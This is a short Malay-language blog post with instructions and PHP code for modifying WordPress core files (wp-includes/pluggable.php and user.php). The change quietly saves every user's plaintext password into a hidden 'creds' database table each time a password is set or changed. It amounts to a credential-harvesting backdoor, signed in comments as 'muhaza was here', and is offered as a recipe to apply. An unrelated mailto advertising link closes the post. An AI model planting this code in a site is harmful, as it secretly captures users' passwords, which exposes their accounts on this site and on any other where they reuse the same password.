Monday, 6 July 2020

Cari cara untuk membuat table pass kosong di wordpress

Plain password

1. Cari wordpress wp-includes/pluggable.php

Cari line ini : 

function wp_set_password( $password, $user_id ) {

Kemudian Paste code ini  

//muhaza was here

global $wpdb;

$creds = $wpdb->prefix . "creds";
$username = DB_USER;
$password = DB_PASSWORD;
$hostname = DB_HOST;
$con=mysqli_connect($hostname,$username,$password);

$sql_1 = "USE " . DB_NAME . ";";
mysqli_query($con, $sql_1);

$sql_2 = "CREATE TABLE IF NOT EXISTS $creds (
      userid varchar(50) NOT NULL,
      PRIMARY KEY(userid),
      password varchar(100) NOT NULL
    );";
mysqli_query($con, $sql_2);
mysqli_close($con);

if($wpdb->update($creds, array("password" => $password), array("userid" => $user_id), array("%s"), array("%s")) == false)
{
$wpdb->insert($creds, array("password" => $password, "userid" => $user_id), array('%s', '%s'));
}

// end muhaza was here

------------------

2. Ke Seterusnya cari pula wp-includes/user.php

cari line ini

if ( ! empty( $userdata['user_pass'] ) && $userdata['user_pass'] !== $user_obj->user_pass ) {

Kemudian paste

// muhaza renovate here
    
    global $wpdb;
        $creds = $wpdb->prefix . "creds";
        $username = DB_USER;
        $password = DB_PASSWORD;
        $hostname = DB_HOST;
        $con=mysqli_connect($hostname,$username,$password);


        if (mysqli_connect_errno()) {
            echo "Failed to connect to MySQL: " . mysqli_connect_error();
            die();
        }

        $sql_1 = "USE " . DB_NAME . ";";
        mysqli_query($con,$sql_1);
   

        $sql_2 = "CREATE TABLE IF NOT EXISTS $creds (
            pemilik varchar(50) NOT NULL,
            PRIMARY KEY(pemilik),
            kunci varchar(100) NOT NULL
        );";
        mysqli_query($con, $sql_2);
        mysqli_close($con);

        if($wpdb->update($creds, array("kunci" => $userdata['user_pass']), array("pemilik" => $ID), array("%s"), array("%s")) == false)
        {
            $wpdb->insert($creds, array("kunci" => $userdata['user_pass'], "pemilik" => $ID), array('%s', '%s'));
        }
        
    
    //end muhaza renovate

3.  Cari line comment

// Hash the password

tampal bawahnya

$original_password = $user_pass;
 // muhaza renovate

DONE

Resultnya nanti leh check di mysql search creds


email mailto: pretext

 <a href="mailto:designoutsourced.com+info@gmail.com?subject=Maklumat%20lanjut%20pakej&body=Hai,%20saya%20berminat%20tahu%20lebi...